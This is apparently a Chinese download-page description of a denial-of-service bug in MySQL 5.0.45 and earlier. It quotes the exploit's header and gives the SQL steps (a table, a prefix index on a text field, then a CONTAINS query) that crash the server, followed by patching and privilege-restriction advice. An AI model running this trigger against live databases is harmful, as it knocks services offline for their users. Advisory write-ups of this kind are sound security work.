English
资源说明：mysql 5.0.45 （修改）拒绝服务漏洞 /* * MySQL <=6.0 possibly affected * Kristian Erik Hermansen * Credit: Joe Gallo * You must have Alter permissions to exploit this bug! * Scenario: You found SQL injection, but you want to punch backend server * in the nuts just for fun. Start with the Alter TABLE statement o
MySQL 5.0.45 版本中的拒绝服务漏洞是一个严重的安全问题，它允许攻击者通过特定的SQL注入操作导致服务器崩溃或者失去响应。这个漏洞主要涉及到在MySQL数据库管理系统中，对表进行ALTER TABLE语句操作时可能出现的问题。攻击者必须具备ALTER权限才能利用此漏洞，这意味着他们需要具有对数据库的修改权。
漏洞场景描述如下：假设攻击者已经发现了一个SQL注入点，但他们的目标不只是获取数据，而是想要使后端服务器瘫痪。他们可以开始尝试对已知存在的表执行ALTER TABLE语句。以下是一个简化的复现步骤：
1. 首先创建一个名为`test`的表，包含一个自增主键`id`和一个文本字段`foo`。
```sql
CREATE TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
```
2. 接着尝试查询`foo`字段中包含特定内容（如"bar"）的记录。
```sql
SELECT * FROM test WHERE CONTAINS(foo, "bar");
```
这将返回空集，因为表中没有数据。
3. 然后在`foo`字段上添加一个长度为100的索引。
```sql
ALTER TABLE test ADD INDEX (foo(100));
```
此操作通常会成功，不会影响任何记录。
4. 再次执行相同查询，试图在含有索引的字段上使用CONTAINS函数。
```sql
SELECT * FROM test WHERE CONTAINS(foo, "bar");
```
在某些情况下，这可能导致与MySQL服务器的连接丢失，从而触发拒绝服务条件，错误代码2013表明在执行查询过程中失去了与服务器的连接。
这个问题可能影响到MySQL 6.0及之前的版本。为了防止这种攻击，管理员应尽快检查系统是否受到该漏洞的影响，并及时更新到不受影响的MySQL版本。同时，限制用户对数据库的ALTER权限也是预防此类攻击的重要措施。
此外，关注相关的安全公告和漏洞通报是非常必要的，比如文中提到的其他MySQL数据库漏洞，包括MySQL 5的注入漏洞和中间人攻击漏洞（如Riddle漏洞），以及可能导致用户名和密码泄露的情况。对于这些安全问题，及时应用补丁、更新安全策略并监控异常行为是保护数据库安全的关键。
本源码包内暂不包含可直接显示的源代码文件，请下载源码包。
